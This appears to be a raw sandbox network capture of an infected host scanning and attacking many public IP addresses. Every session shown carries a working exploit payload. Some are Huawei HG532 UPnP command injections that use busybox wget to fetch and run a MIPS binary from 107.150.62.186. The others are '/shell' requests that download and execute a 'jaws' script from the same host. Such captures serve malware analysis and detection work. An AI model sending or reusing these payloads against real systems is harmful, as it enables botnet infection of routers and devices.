Jan 5, 2025 14:26:53.652651072 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	37098	95.147.60.89	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:54.640415907 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	43174	41.180.26.32	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:56.692651987 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	58992	197.255.23.109	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:56.692668915 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	45402	197.132.169.174	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:56.697523117 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	42536	82.20.236.77	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:57.652342081 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	39368	197.39.42.34	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:57.685396910 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	53400	212.7.199.36	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:57.685441971 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	48014	204.72.238.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:57.685446024 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	57364	197.19.140.10	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:57.716628075 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	41350	153.128.164.130	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678143978 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	50226	91.66.172.72	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678163052 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	35984	174.78.99.129	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678191900 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	45020	212.2.227.97	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678211927 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	37558	70.59.100.39	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678241968 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	34374	145.19.0.251	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678267956 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	33168	47.223.128.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678292036 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	40292	202.59.61.14	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678293943 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	49246	152.11.162.118	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678332090 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	46050	134.102.166.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678395987 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	40760	89.193.248.250	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678395987 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	53882	223.121.127.185	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678417921 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	38536	209.62.110.93	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678425074 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	34110	221.136.12.9	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678447962 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	49678	206.50.172.164	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678478003 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	39692	37.54.72.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678492069 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	50018	47.221.220.24	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678527117 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	52008	72.243.207.101	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678564072 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	32770	109.245.147.71	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678567886 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	58970	122.69.36.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678586006 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	51548	145.68.152.40	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678592920 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	60122	140.140.181.59	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678622007 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	39518	43.23.21.100	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678647041 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	60054	150.85.84.94	80

Timestamp	Bytes transferred	Direction	Data
